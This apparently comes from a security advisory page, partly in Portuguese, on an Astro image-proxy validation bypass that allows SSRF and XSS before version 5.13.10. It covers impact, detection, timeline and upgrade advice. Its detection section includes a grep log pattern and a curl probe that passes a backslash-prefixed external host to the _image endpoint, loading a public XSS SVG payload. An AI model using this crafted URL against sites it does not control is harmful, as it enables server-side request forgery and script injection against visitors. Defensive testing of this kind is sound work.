Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Um atacante pode explorar esta vulnerabilidade para injetar scripts maliciosos no navegador de usuários que acessam um site construído com Astro. Isso pode levar ao roubo de cookies de sessão, redirecionamento para sites maliciosos, ou modificação do conteúdo da página web. O impacto é amplificado se o site Astro for utilizado para processar informações sensíveis ou se tiver um grande número de usuários, pois a injeção de script pode afetar todos os visitantes. A exploração bem-sucedida permite o controle do contexto do navegador do usuário, abrindo caminho para ataques de phishing e roubo de dados.

Websites and applications built with Astro that are running versions prior to 5.13.10 are at risk. This includes those relying on image processing or serving content dynamically. Shared hosting environments using Astro are particularly vulnerable, as they may not have control over the underlying server configuration or the ability to quickly apply updates.

• nodejs: Monitor application logs for requests containing backslashes in image URLs, particularly those referencing raw.githubusercontent.com. Use grep to search for patterns like \raw.githubusercontent.com in access logs.

grep '\\raw.githubusercontent.com' /var/log/nginx/access.log

• generic web: Use curl to test image endpoints with crafted URLs containing backslashes. Check for JavaScript execution in the response.

curl 'https://your-astro-site/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg' -s | grep -i '<script>'

1. 2025-10-28Disclosure

   disclosure

2. 2025-10-28PoC

   poc

1. Reservado2025-09-22
2. Publicada2025-10-28
3. Modificada2025-10-29
4. EPSS atualizado2026-03-23

A mitigação primária é atualizar o Astro para a versão 5.13.10 ou superior, que inclui a correção para esta vulnerabilidade. Se a atualização imediata não for possível, um workaround é implementar validação rigorosa de entrada em todos os pontos onde URLs são processadas, garantindo que caracteres especiais, como backslashes (\), sejam devidamente escapados ou removidos. Implementar uma Content Security Policy (CSP) com diretivas restritivas também pode ajudar a mitigar o impacto da exploração, limitando as fontes de scripts que o navegador pode executar. Após a atualização, confirme a correção verificando se a URL maliciosa não é mais processada e se o script não é injetado.